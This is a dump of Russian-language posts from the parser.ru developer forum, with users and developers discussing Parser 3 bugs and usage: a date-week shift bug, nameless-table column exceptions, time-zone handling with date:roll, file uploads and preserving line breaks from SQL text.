Есть ли где-нибудь \"настоящая\" капча?"
"82590","Помимо [url=\"http://www.parser.ru/examples/antispam/\"]класса из примеров[/url], поискав по форуму, можно найти сразу несколько вариантов - начиная с [url=\"http://www.parser.ru/forum/?id=38805\"]реализации целиком на парсере[/url] и заканчивая интеграцией со сторонними сервисами, например, с [url=\"http://www.parser.ru/forum/?id=74700\"]reCAPTCHA[/url]."
"82591","Отправляю большую форму - анхендлд:\
\
[Tue Mar  1 17:50:02 2016] [514290] /?sex=1&last=&first=&father=&profstatus=nontech&pos=&companytype=4&regname=&registernow=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C+%D0%B7%D0%B0%D1%8F%D0%B2%D0%BA%D1%83: UNKNOWN(1:1): 'phone' $.name outside of $name[...] [parser.runtime] [uri=/?sex=1&last=&first=&father=&profstatus=nontech&pos=&companytype=4&regname=&registernow=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C+%D0%B7%D0%B0%D1%8F%D0%B2%D0%BA%D1%83, method=GET, cl=0]\
\
Фоун нейм аутсайд оф нейм - это как трактовать? У меня там просто строка <input class=\"loginput\" style=\"width: 70%;\" placeholder=\"Ваш телефон\" name=\"phone\">, и в обработке она пока не участвует вообще. Причём перед ней абсолютно идентичный инпут про email, он проходит.\
\
Не понимаю. Что-то по длину URL, возможно?"
"82592","[code]@main[]\
$.name[value]\
[/code]\
\
Где-то вы задаёте ключ хеша, вне самого хеша."
"82593","Сейчас поддерживаются [url=http://www.gnu.org/software/libc/manual/html_node/TZ-Variable.html]POSIX-зоны[/url], но они объективно уступают [url=http://www.iana.org/time-zones]IANA/Olson-зонам[/url], которые и лаконичнее, и содержат всю историю переводов часов зоны, а не два в год.\
\
Вот и [url=http://www.ibm.com/developerworks/aix/library/au-aix-posix/]IBM советует[/url]."
"82594","[code]@main[]\
$date[^date::create(2016;1;1)]\
^date.sql-string[]<br/>\
$week($date.week)\
^date.sql-string[][/code]\
\
2016-01-01 00:00:00\
2015-12-28 00:00:00\
\
Обращение к неделе прошлого года сдвигает дату на начало недели.\
\
Win 7, Parser 3.4.4 RC.\
\
В 3.4.3 сдвига нет."
"82595","В 3.4.4 beta тоже не вопроизводится. \
Кстати, где взять libmySQL.dll для 3.4.4rc? Предыдущая версия не хочет дружить, [url=\"http://www.parser.ru/download/beta/\"]тут[/url] нету"
"82596","[quote]Кстати, где взять libmySQL.dll для 3.4.4rc? Предыдущая версия не хочет дружить[/quote]\
\
У меня от предыдущих версий работает.\
Файл 2013 года, 2 334 720 байт."
"82597","У меня тоже заработало, прав оказалось недостаточно.\
\
Проблема подтвердилась, тоже дата сдвигается"
"82598","[code]<form>\
<input type=\"file\" name=\"file\" accept=\".jpg\">\
<input type=\"submit\" name=\"sibmitfile\">\
</form>\
\
^if(def $form:sibmitfile){\
^if(def $form:file){\
^{form:file}.save[binary;/imgs/temp/${cookie:respected}.jpg] }{нафиг}\
$response:location[http:...]\
}[/code]\
\
Лог говорит, что не знает слова binary!, зато знает знает слово append. Заменяю - в должную папку подгружается фигня какая-то в 30 килобайт с именем и фамилией файла, но, естественно, без загружаемого контента.\
\
Как сохранить на сервере выбранный пользователем файл?"
"82599","^{form:file}.save[] => ^form:file.save[]"
"82601","Забыли указать \"enctype\" у формы.\
\
[code]<form enctype=\"multipart/form-data\">[/code]"
"82602","Каких-то девять лет назад [url=http://www.parser.ru/forum/?id=62624]Maxx выступал с несколькими разумными предложениями[/url].\
\
Лично мне хотелось бы вернуться к пункту 2.\
Больше всего раздражает исключение «column not found» при обращении к несуществующему столбцу таблицы.\
Зачем это, кому и что оно упрощает?\
\
Любой пользовательский объект по умолчанию вернёт void в ответ на обращение к несуществующему полю, так же поступят и хеш, и файл.\
\
И только таблица с датой ругаются.\
\
Эта ругань сильно усложняет работу с nameless-таблицами, особенно, если количество колонок разное, всё приходится проверять.\
Получать списки колонок, искать там колонку и только потом к ней обращаться.\
\
Таблица уже до изменения доросла, а до спокойного возврата void — всё никак.\
\
P. S. Только в версии 3.4.4 появилась возможность без перебора получить количество столбцов nameless-таблицы.\
Но для элементарного — получения списка колонок nameless-таблицы прогресс так и не дошёл, приходится делать ^for[i](0;^table.count[columns] - 1){$i}[	].\
\
Затрудняюсь понять отчего эти ограничения живут годами."
"82603","> Затрудняюсь понять отчего эти ограничения живут годами.\
\
- простая реализация не красивая (внутри будет всё тот-же цикл с проверками, но в todo у нас есть что-то на этот счёт)\
- ценность сомнительная (nameless таблицы применяются совсем не часто, а эта их функция -- и того меньше)."
"82604","[quote]- простая реализация не красивая (внутри будет всё тот-же цикл с проверками, но в todo у нас есть что-то на этот счёт)[/quote]\
\
«Внутри» лучше, чем «снаружи».\
\
[quote]- ценность сомнительная (nameless таблицы применяются совсем не часто, а эта их функция -- и того меньше).[/quote]\
\
Я не совсем понимаю какая между ними принципиальная разница.\
Почему безымянная какая-то особенная.\
Когда-то PAF писал, что она намерено примитивная, а зачем — неясно.\
\
Фактически, её везде может заменить обычная с числовыми именами столбцов.\
Беда в том, что несколько нативных методов возвращают безымянные таблицы.\
Тот же split[…;h].\
\
И вдруг, когда в руках таблица, оказывается, что чего-то с ней сделать нельзя и нужно применять пляски.\
И ладно бы были разумные ограничения, а то ведь ерунда какая — список числовых колонок.\
\
Таким образом, ценность, прежде всего, в единообразии.\
Вот бы хеш менял интерфейс в зависимости от того, с какими именами ключей его инициализировали."
"82605","В самом парсере нет никакой поддержки временных зон, мы просто ставим переменную окружения, а дальше что поддерживается системой - то и работает. Временная зона MSK, что стоит у меня в Linux идет из tzdata и вполне себе хранит всю историю переводов времени."
"82606","Логично. ©\
\
Я из-за примера подумал на posix.\
\
В Linux действительно нормально работают IANA-пояса.\
А вот под Windows свои, специфические.\
Говорят, с 8.1 только IANA."
"82607","Исторически метод объявлен как yw CalcWeek(tm& tms), и после переделки реализации дат этот & и привел к указанной проблеме. :( Более того, $date.week оказалось не покрыто тестами.\
\
В качестве workaround могу предложить добавить $date[^date::create($date)] после обращения к $date.week, ну а в целом будет конечно исправлено, там только и надо что & удалить."
"82609","[quote]Больше всего раздражает исключение «column not found» при обращении к несуществующему столбцу таблицы.\
Зачем это, кому и что оно упрощает?[/quote]\
\
Не скажу, что сам в восторге от такого поведения, но логику в нем вижу. Если в хеше мы можем захотеть проверить произвольный ключ, то в таблице список возможных ключей известен из структуры и если мы проверяем что-то другое - с большой степенью вероятности это опечатка. Но да, это несколько усложняет написание кода, работающего с таблицами произвольной структуры.\
\
[quote]получения списка колонок nameless-таблицы прогресс так и не дошёл[/quote]\
\
Теперь это еще легче делается, сделаем конечно."
"82610","[quote]Если в хеше мы можем захотеть проверить произвольный ключ, то в таблице список возможных ключей известен из структуры и если мы проверяем что-то другое - с большой степенью вероятности это опечатка.[/quote]\
\
Так мы и о хеше и об объекте имеем те же сведения — список полей (в простом случае, без свойств).\
И исключение при обращении тоже способствовало бы «строгости».\
Оно, конечно, дисциплинирует, но минусов-то больше.\
\
[quote]Не скажу, что сам в восторге от такого поведения, но логику в нем вижу.[/quote]\
\
Может стоит привести поведение таблицы в порядок: вместо побочной отладки получить единообразие?"
"82611","[quote]Так мы и о хеше и об объекте имеем те же сведения — список полей (в простом случае, без свойств).[/quote]\
\
Объекты - может быть, но что касается хешей, то у меня в 80% случаев переменный набор полей (разные опции). В таблицах же наоборот, не припомню когда последний раз передавал методу таблицы разной структуры. И что это исключение показывало на опечатки - было не раз."
"82612","[quote]В таблицах же наоборот, не припомню когда последний раз передавал методу таблицы разной структуры.[/quote]\
\
Пример: метод работает с безымянной таблицей, у которой может быть разное количество полей — часть опциональна и не передаётся.\
Вместо простого ^if(def $data.5){…} нужно либо ловить исключение, либо лезть в список столбцов (которого у безымянной таблицы «нет»).\
\
Что до опечаток, я вижу плюс от исключения в другом: можно ловить его и догружать несуществующие данные.\
Эдакий GET_DEFAULT."
"82613","[quote]\
Пример: метод работает с безымянной таблицей, у которой может быть разное количество полей — часть опциональна и не передаётся.\
Вместо простого ^if(def $data.5){…} нужно либо ловить исключение, либо лезть в список столбцов (которого у безымянной таблицы «нет»).\
[/quote]\
\
что?\
[code]\
$t[^table::create[nameless]{a	b}]\
=$t.0=$t.1=$t.2=\
[/code]\
\
=>\
=a=b==\
никаких исключений"
"82614","TFM честно курил, поиск честно юзал, ничего не нашел, кроме отсылок к мануалу и поиску.\
\
Задача: отправлять текстарею в sql, потом забирать содержимое оттуда в идентичном виде.\
\
Проблема: при выдаче текста он отображается одной строкой, хотя в базе хранится идентично изначальному набору. Тейнты-антейнты перепробованы, разумеется, безрзультатно.\
\
Как расставить брейки согласно содержимому ячейки БД? Тейнтирование формы при отправке, чтобы в базе [i]уже[/i] оказывалось с брейками, тоже бесполезно: в базу приходит один чёрт as is. Чего-то я не понимаю в процессе taint.\
\
Куда копать?"
"82615","[quote]Выдача даннных (могут содержать теги), пришедших от пользователя или из БД \
в форму для редактирования с сохранением пробельных символов<br /> \
^if(def $form:body){ \
   $body[$form:body] \
}{ \
   ^connect[$SQL.connect-string]{ \
      $body[^string:sql{SELECT body FROM news WHERE news_id = $id}] \
   } \
} \
<textarea>^taint[html][$body]</textarea>[/quote]"
"82616","С одной стороны неточность у меня: метод split для единообразия всегда возвращает именованную таблицу.\
В случае с горизонтальным разбиением — с числовыми именами столбцов.\
\
С другой — ещё одно специфическое поведение безымянной таблицы.\
Только обращение к несуществующим столбцам именованной вызывает исключение.\
И документация безмолвствует."
"82617","[quote]Только обращение к несуществующим столбцам именованной вызывает исключение[/quote]\
\
по моему, это абсолютно логичное поведение.\
по моему лучше сделать, чтобы splith возвращал nameless таблицу."
"82618","[quote]по моему, это абсолютно логичное поведение[/quote]\
\
Не согласен с такой логикой.\
\
По-моему разный интерфейс и поведение объектов одного класса — это плохо.\
Какая бы местная логика за этим ни стояла.\
\
Уже даже void'у ругань на несуществующие поля запретили."
"82619","Получить время в указанном часовом поясе можно, создать дату из ISO 8601 можно.\
А как создать произвольную дату в указанном поясе, если известно его имя и не известно смещение (можно было бы подставить в ISO 8601)?\
\
Дополнительного параметра TZ у конструкторов даты не появилось.\
\
В голову приходит лишь такое:\
[code]@main[]\
# $default[MSK-3]\
# $target[NOVT-6]\
\
$default[Europe/Moscow]\
$target[Asia/Novosibirsk]\
\
$dt[2016-01-01 00:00:00]\
\
^date:roll[TZ;$target]\
$date[^date::create[$dt]]\
^date:roll[TZ;$default]\
\
^date.roll[TZ;$default]\
\
$dt новосибирского времени — это ^date.sql-string[] Москвы[/code]\
\
[i]2016-01-01 00:00:00 новосибирского времени — это 2015-12-31 21:00:00 Москвы[/i]\
\
Жаль, что нельзя узнать текущий, выставленный ^date:roll[TZ;…] часовой пояс."
"82620","[code]@main[]\
# $default[MSK-3]\
# $target[NOVT-6]\
\
$default[Europe/Moscow]\
$target[Asia/Novosibirsk]\
\
^date:roll[TZ;$target]\
\
$date[^date::create(2016;3;5)]\
$now[^date::now[]]\
$today[^date::today[]]\
\
now at target tz: [$now.hour $now.minute $now.second]<br/>\
\
^date:roll[TZ;$default]\
\
^date.roll[TZ;$default]\
^now.roll[TZ;$default]\
^today.roll[TZ;$default]\
\
now at default tz: [$now.hour $now.minute $now.second]<br/>\
\
date: ^date.sql-string[]=2016-03-05 03:00:00<br/>\
now: ^now.sql-string[]=2016-03-05 [b]16[/b]:49:08 must be 2016-03-05 [b]19[/b]:49:08<br/>\
today: ^today.sql-string[]=2016-03-05 03:00:00[/code]\
\
Now выдаёт время в старом часовом поясе, созданное в новом поясе по умолчанию, вместо того, чтобы выдавать всегда текущее в текущем поясе.\
\
Крайне странная логика.\
[code]^date:roll[TZ;NOVT-6]\
$now[^date::now[]]\
^now.sql-string[][/code]\
\
Получаем московское время минус три часа.\
После ^date:roll[TZ;NOVT-6] часовой пояс сервера по умолчанию — Новосибирск, а время выдаётся смещённое в Москву.\
Откуда оно этот пояс для смещения вообще берёт, если выше выставлен пояс по умолчанию, а ^now.roll[TZ;MSK-3] не делался?\
\
Win 7x64, Parser 3.4.4 RC.\
Ubuntu 12.04.5 LTS (GNU/Linux 3.11.0-15-generic x86_64), Parser 3.4.4 RC."
"82621","Да, в планах есть добавить TZ, пока можно действовать как в вашем примере.\
\
[quote]Жаль, что нельзя узнать текущий, выставленный ^date:roll[TZ;…] часовой пояс.[/quote]\
\
В общем нет такой необходимости, для использования значения по умолчанию надо передавать пустую строку.\
\
[code]^date:roll[TZ;$target]\
$date[^date::create[$dt]]\
^date:roll[TZ;]\
^date.roll[TZ;] - альтернативно можно $date[^date::create($date)], для перерасчета разбитой по полям даты.\
[/code]"
"82622","^date:roll[TZ;] задуман скорее для одноразового использования в cgi/auto.p. При его вызове во всех созданных до этого датах с временной зоной по умолчанию структура с разбитой по полям датой не меняется и таким образом становится некорректной. Пересчитать эту структуру для новой временной зоны из unix-time можно например с помощью ^dt.roll[TZ;]\
\
Мы отразим это в документации."
"82623","Насколько понимаю, пустой TZ — это TZ в ОС.\
\
Выставив другой TZ по умолчанию через ^date:roll[TZ;$target] (который для этого и задуман) невозможно его узнать — нужно хранить, и невозможно к нему вернуться через ^date:roll[TZ;] — это TZ в ОС.\
Лучше, всё же хранить и явно указывать при сдвигах.\
\
То, что дату после смены TZ нужно пересчитывать — ясно.\
\
Неясны два момента:\
1. поведение date:now;\
2. числовое значение дат в разных поясах. Из-за поведения now там сейчас странное.\
\
В примере ниже now, судя по всему, принудительно сразу сдвигает дату в TZ ОС, хотя его об этом не просят.\
А после date:roll получается двойной сдвиг.\
[code]^date:roll[TZ;NOVT-6]\
$now[^date::now[]]\
^date:roll[TZ;MSK-3]\
\
$_now[^date::now(3 / 24)]\
\
^now.sql-string[], must be ^_now.sql-string[][/code]\
\
Задача — узнать сколько сейчас времени в указанном TZ."
"82624","Не очень понимаю в чем проблема, код вывел у меня \"2016-03-06 20:24:19, must be 2016-03-06 20:24:19\". Числовое значение даты (unixtime) в GMT, оно не зависит от часового пояса.\
\
[quote]Задача — узнать сколько сейчас времени в указанном TZ.[/quote]\
\
Это и раньше было можно.\
\
[code]$now[^date::now[]]\
^now.roll[TZ;$target]\
[/code]"
"82625","[code]$now[^date::now[]]\
^now.roll[TZ;NOVT-6]\
\
^now.sql-string[]\
[/code]\
\
У меня выдаёт 2016-03-06 15:19:02, а ожидается 2016-03-06 21:19:02.\
\
[quote]Не очень понимаю в чем проблема, код вывел у меня \"2016-03-06 20:24:19, must be 2016-03-06 20:24:19\".[/quote]\
\
У меня:\
[i]2016-03-06 15:21:47, must be 2016-03-06 21:21:47[/i]\
\
Это под Win, в Ubintu порядок.\
\
Надо проверить наименования поясов.\
Видимо, я их некорректно указываю."
"82626","Win 7x64.\
\
Экспортируем зоны:\
[code]tzutil /l > timezones.txt[/code]\
\
Приводим к таблице.\
Проверяем:\
[code]@main[]\
$now[^date::now[]]\
\
$tzs[^table::load[nameless;timezones.txt]]\
<table>\
<tr>\
	<th>TZ ID</th>\
	<th>TZ name</th>\
	<th>TZ ID date</th>\
	<th>TZ name date</th>\
</tr>\
^tzs.menu{\
	<tr>\
		<td>$tzs.0</td>\
		<td>$tzs.1</td>\
		^now.roll[TZ;$tzs.0]\
		<td>^now.sql-string[]</td>\
		^now.roll[TZ;$tzs.1]\
		<td>^now.sql-string[]</td>\
	</tr>\
}\
</table>\
[/code]\
\
Получаем:\
[code]TZ ID	TZ name	TZ ID date	TZ name date\
(UTC-12:00) International Date Line West	Dateline Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-11:00) Coordinated Universal Time-11	UTC-11	2016-03-06 15:46:54	2016-03-07 02:46:54\
(UTC-10:00) Hawaii	Hawaiian Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-09:00) Alaska	Alaskan Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-08:00) Baja California	Pacific Standard Time (Mexico)	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-08:00) Pacific Time (US & Canada)	Pacific Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-07:00) Arizona	US Mountain Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-07:00) Chihuahua, La Paz, Mazatlan	Mountain Standard Time (Mexico)	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-07:00) Mountain Time (US & Canada)	Mountain Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-06:00) Central America	Central America Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-06:00) Central Time (US & Canada)	Central Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-06:00) Guadalajara, Mexico City, Monterrey	Central Standard Time (Mexico)	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-06:00) Saskatchewan	Canada Central Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-05:00) Bogota, Lima, Quito, Rio Branco	SA Pacific Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-05:00) Chetumal	Eastern Standard Time (Mexico)	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-05:00) Eastern Time (US & Canada)	Eastern Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-05:00) Indiana (East)	US Eastern Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-04:30) Caracas	Venezuela Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-04:00) Asuncion	Paraguay Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-04:00) Atlantic Time (Canada)	Atlantic Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-04:00) Cuiaba	Central Brazilian Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-04:00) Georgetown, La Paz, Manaus, San Juan	SA Western Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-03:30) Newfoundland	Newfoundland Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-03:00) Brasilia	E. South America Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-03:00) Cayenne, Fortaleza	SA Eastern Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-03:00) City of Buenos Aires	Argentina Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-03:00) Greenland	Greenland Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-03:00) Montevideo	Montevideo Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-03:00) Salvador	Bahia Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-03:00) Santiago	Pacific SA Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-02:00) Coordinated Universal Time-02	UTC-02	2016-03-06 15:46:54	2016-03-06 17:46:54\
(UTC-01:00) Azores	Azores Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC-01:00) Cabo Verde Is.	Cape Verde Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC) Casablanca	Morocco Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC) Coordinated Universal Time	UTC	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC) Dublin, Edinburgh, Lisbon, London	GMT Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC) Monrovia, Reykjavik	Greenwich Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna	W. Europe Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+01:00) Belgrade, Bratislava, Budapest, Ljubljana, Prague	Central Europe Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+01:00) Brussels, Copenhagen, Madrid, Paris	Romance Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+01:00) Sarajevo, Skopje, Warsaw, Zagreb	Central European Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+01:00) West Central Africa	W. Central Africa Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+01:00) Windhoek	Namibia Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+02:00) Amman	Jordan Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+02:00) Athens, Bucharest	GTB Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+02:00) Beirut	Middle East Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+02:00) Cairo	Egypt Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+02:00) Damascus	Syria Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+02:00) E. Europe	E. Europe Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+02:00) Harare, Pretoria	South Africa Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+02:00) Helsinki, Kyiv, Riga, Sofia, Tallinn, Vilnius	FLE Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+02:00) Istanbul	Turkey Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+02:00) Jerusalem	Israel Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+02:00) Kaliningrad (RTZ 1)	Kaliningrad Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+02:00) Tripoli	Libya Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+03:00) Baghdad	Arabic Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+03:00) Kuwait, Riyadh	Arab Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+03:00) Minsk	Belarus Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+03:00) Moscow, St. Petersburg, Volgograd (RTZ 2)	Russian Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+03:00) Nairobi	E. Africa Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+03:30) Tehran	Iran Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+04:00) Abu Dhabi, Muscat	Arabian Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+04:00) Baku	Azerbaijan Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+04:00) Izhevsk, Samara (RTZ 3)	Russia Time Zone 3	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+04:00) Port Louis	Mauritius Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+04:00) Tbilisi	Georgian Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+04:00) Yerevan	Caucasus Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+04:30) Kabul	Afghanistan Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+05:00) Ashgabat, Tashkent	West Asia Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+05:00) Ekaterinburg (RTZ 4)	Ekaterinburg Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+05:00) Islamabad, Karachi	Pakistan Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+05:30) Chennai, Kolkata, Mumbai, New Delhi	India Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+05:30) Sri Jayawardenepura	Sri Lanka Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+05:45) Kathmandu	Nepal Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+06:00) Astana	Central Asia Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+06:00) Dhaka	Bangladesh Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+06:00) Novosibirsk (RTZ 5)	N. Central Asia Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+06:30) Yangon (Rangoon)	Myanmar Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+07:00) Bangkok, Hanoi, Jakarta	SE Asia Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+07:00) Krasnoyarsk (RTZ 6)	North Asia Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+08:00) Beijing, Chongqing, Hong Kong, Urumqi	China Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+08:00) Irkutsk (RTZ 7)	North Asia East Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+08:00) Kuala Lumpur, Singapore	Singapore Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+08:00) Perth	W. Australia Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+08:00) Taipei	Taipei Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+08:00) Ulaanbaatar	Ulaanbaatar Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+08:30) Pyongyang	North Korea Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+09:00) Osaka, Sapporo, Tokyo	Tokyo Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+09:00) Seoul	Korea Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+09:00) Yakutsk (RTZ 8)	Yakutsk Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+09:30) Adelaide	Cen. Australia Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+09:30) Darwin	AUS Central Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+10:00) Brisbane	E. Australia Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+10:00) Canberra, Melbourne, Sydney	AUS Eastern Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+10:00) Guam, Port Moresby	West Pacific Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+10:00) Hobart	Tasmania Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+10:00) Magadan	Magadan Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+10:00) Vladivostok, Magadan (RTZ 9)	Vladivostok Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+11:00) Chokurdakh (RTZ 10)	Russia Time Zone 10	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+11:00) Solomon Is., New Caledonia	Central Pacific Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+12:00) Anadyr, Petropavlovsk-Kamchatsky (RTZ 11)	Russia Time Zone 11	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+12:00) Auckland, Wellington	New Zealand Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+12:00) Coordinated Universal Time+12	UTC+12	2016-03-06 15:46:54	2016-03-06 03:46:54\
(UTC+12:00) Fiji	Fiji Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+13:00) Nuku'alofa	Tonga Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+13:00) Samoa	Samoa Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54\
(UTC+14:00) Kiritimati Island	Line Islands Standard Time	2016-03-06 15:46:54	2016-03-06 15:46:54[/code]\
\
Ни по ID, ни по имени пояс не устанавливается.\
Везде GMT."
"82627","В моем форматы типа UTC-06:00 вполне себе работают. Как и все из примера в документации http://www.parser.ru/docs/lang/?dateroll.htm"
"82628","[quote]В моем форматы типа UTC-06:00 вполне себе работают. Как и все из примера в документации[/quote]\
\
Выковырянные из Ubuntu Posix-пояса работают через один.\
При том, что Windows с актуальными обновлениями.\
\
[url=https://msdn.microsoft.com/en-us/library/ms912391%28v=winembedded.11%29.aspx?f=255&MSPPError=-2147217396]Встроенные пояса[/url] — вообще не работают.\
Всё наугад."
"82629","В базе:\
\
[b]В лесу\
родилась\
ёлочка[/b]\
\
^connect[...]{\
$topictext[^string:sql{SELECT `text` FROM `usercontent` WHERE `id` = $topicnum}]\
}\
<div>^taint[html][$topictext]</div>\
\
В браузере:\
\
[b]В лесу родилась ёлочка.[/b]"
"82630","в базе в три строчки, что-т не обработалось.\
\
в лесу\
родилась\
ёлочка"
"82631","- тейнт, эпплай-тейнт при отправке формы в базу: нет, в базе не появляются <br>, строки просто разбиваются как и были в текстарее.\
\
- эпплай-тейнт при выдаче аналогично тейнту в ответе выше. Ни черта.\
\
Нужно, чтобы либо в БД при отправке ТУДА появлялись <br>, либо, лучше, чтобы при выдаче ИЗ БД в браузере появлялись <br> согласно разбивке строк в базе.\
\
Предложенные решения не дают ровно ничего."
"82632","парсер не заменяет переводы строк на br. да и не надо этого делать, т.к. завтра вы тот-же контент захотите выдать в xml/rss/json итд, и что ,eltnt делать с этими br в БД?\
\
да и проверили вы не очень правильно, надо так:\
[code]\
$sTextWithEOLs[line1\
line2  with  spaces\
\
\
line3]\
\
<pre>$sTextWithEOLs</pre> (тут парсер соптимизирует whitespaces при выводе, т.е. во view source вы увидите только оставленный первых whitespace, включая EOL)\
<pre>^taint[html][$sTextWithEOLs]</pre> (тут всё будет хорошо, taint отключит оптимизацию, а браузер выведит все пробелы в pre)\
<div>^taint[html][$sTextWithEOLs]</div> (тут парсер выключит оптимизацию и выдаст все пробелы как есть, что можно увидеть во view source, но браузер их не будет отображать все)\
[/code]\
